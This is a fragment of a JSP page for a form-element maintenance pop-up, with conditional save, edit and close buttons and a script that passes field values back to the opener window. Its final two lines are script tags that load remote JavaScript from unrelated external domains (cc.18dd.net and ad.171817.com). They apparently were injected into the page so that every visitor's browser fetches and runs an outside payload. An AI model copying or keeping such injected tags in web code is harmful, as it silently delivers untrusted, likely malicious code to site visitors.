          <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
        <%}%>
        <%}else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormElementForm.getOpMode())) {%>
          <html:permissionButton label="common.label.edit" right="E" link="MaintFormElement.do?SHOW_HEADER_FOOTER=N&navMode=E&ID=${maintFormElementForm.ID}"/>
        <%}if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormElementForm.getOpMode())){%>
          <html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
        <%}else{%>
          <html:standardButton label="common.label.close" onClick="javascript:window.opener.location='MaintFormSectionFormElement.do?navMode=E&formPageID=${formPageID}&formRecordID=${formRecordID}';window.close();"/>
        <%}%>    
    <%}else{%>
      <html:standardButton label="common.label.close" onClick="self.close();return(false);"/> 
    <%}%>
  </div>
</div>
</html:form>
<SCRIPT LANGUAGE="JavaScript">
<!--
window.ID=document.maintFormElementForm.ID.value; 
opener.ID.value =window.ID; 
window.formElementName =document.maintFormElementForm.fieldName.value;
opener.formElementName.value =window.formElementName; 
opener.formElementType.value ="<%=maintFormElementForm.getElementType()%>";
if(opener.savedFlag!=null){
  opener.savedFlag.value ="T";
}

-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>